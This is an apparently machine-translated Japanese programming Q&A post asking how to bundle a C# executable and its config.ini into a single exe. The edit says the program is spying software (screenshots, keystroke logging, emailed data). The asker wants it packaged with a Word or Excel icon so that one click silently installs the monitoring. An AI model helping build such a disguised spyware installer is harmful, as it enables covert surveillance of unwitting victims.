2 つのアプリと 1 つの config.ini ファイルがあります。
- マネージャー プロジェクト
- 主なプロジェクト
メイン プロジェクトがコンパイルされ、マネージャー プロジェクトに (リソースとして) 追加されます。また、メイン プロジェクトは config.ini ファイルから設定を取得しています。
Manager Project から、その方法で MainProject を保存できます。
File.WriteAllBytes("MainProject.exe", ManagerProject.Properties.Resources.MainProject); //get MainProject exe an save it
次に、MainProject.exe の config.ini を記述します。
StreamWriter sw = new StreamWriter("config.ini");
sw.WriteLine("1"); //whatever
sw.Close();
しかし、この 2 つのファイル (config.ini と MainProject.exe) を 1 つの exe ファイルに結合したいと考えています。ユーザーは config.ini を見ることができません。
config.ini をリソース ファイルとして追加することを考えていましたが、プロジェクトが既にコンパイルされている場合、それを行うことは可能ですか?
どうすればできますか?
//編集
スパイしているプログラムがあります(スクリーンショットを作成する、キーボードをファイルに記録するなど)。私の ManagerProject には、インストールの監視、アンインストール、構成などのオプションがあります。
「自分の構成でスタンドアロン モニターを作成する」を実行したいと考えています。このオプションは、指定された設定 (スクリーンショットの作成頻度、電子メール データなど) で、たとえば word または Excel アイコンを使用して .exe を作成する必要があります。そして、このカスタム構成のスタンドアロン exe は、クリック後に監視をインストールするだけです。
しかし、exeとconfig.iniを1つのファイルにマージするのに問題があります...
この問題を解決する方法はありますか?